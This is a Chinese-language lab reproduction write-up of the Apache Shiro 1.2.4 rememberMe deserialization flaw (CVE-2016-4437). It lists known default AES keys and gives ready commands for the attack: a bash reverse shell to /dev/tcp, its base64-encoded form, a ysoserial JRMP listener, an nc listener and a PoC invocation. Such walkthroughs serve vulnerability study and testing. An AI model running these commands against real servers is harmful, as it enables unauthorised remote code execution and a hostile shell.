Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

0x01 shiro简介:

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

0x02 漏洞介绍:

Shiro提供了记住我(RememberMe)的功能,比如访问如淘宝等一些网站时,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,但是设计到一些支付等敏感操作时,可能还需要再次验证。

 而shiro默认使用了CookieRememberMeManager接口,就是rememberme功能,。

其处理cookie的流程是: 得到rememberMe的cookie值,先进行Base64解码,再进行AES解密,最后进行反序列化。

但是shiro本身有一个预设密钥Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是这点,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0x03 漏洞影响:

Apache Shiro <= 1.2.4

事实上,只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

0x04 复现:

这是网上所搜集的一些可替换的密钥

1 kPH+bIxk5D2deZiIxcaaaA== 2 wGiHplamyXlVB11UXWol8g== 3 2AvVhdsgUs0FSA3SDFAdag== 4 4AvVhmFLUs0KTA3Kprsdag== 5 fCq+/xW488hMTCD+cmJ3aQ== 6 3AvVhmFLUs0KTA3Kprsdag== 7 1QWLxg+NYmxraMoxAXu/Iw== 8 ZUdsaGJuSmxibVI2ZHc9PQ== 9 Z3VucwAAAAAAAAAAAAAAAA== 10 U3ByaW5nQmxhZGUAAAAAAA== 11 6ZmI6I2j5Y+R5aSn5ZOlAA==

这里使用https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437的vulhub启动一个shiro环境。可以看到有一个remember me的选项。

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 回包中有  rememberMe=deleteMe 字样,可以大概确定有配置shiro,可以进行下一步。因为shiro本身功能就是一个身份验证管理,所以一般都在登录口可以看到。

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

0x05 漏洞复现:

  • 将shell反弹命令bash -i >& /dev/tcp attackrip/port 0>&1  进行编码:http://www.jackson-t.ca/runtime-exec-payloads.html,编码后的payload为 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCAxOTIuMTY4Ljc5LjE0OC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}‘ 

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

  • 启用ysoserial监听模块JRMP,端口为666: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 666 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCAxOTIuMTY4Ljc5LjE0OC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}‘

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

  • 监听本地反弹端口: nc -lvvp 1234,等待shell反弹

 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

  • 执行 poc生成rememberMe的内容 python2 shiro_exp.py attack_ip:JRMP_port

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

  •  抓取一个登陆的数据包

 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)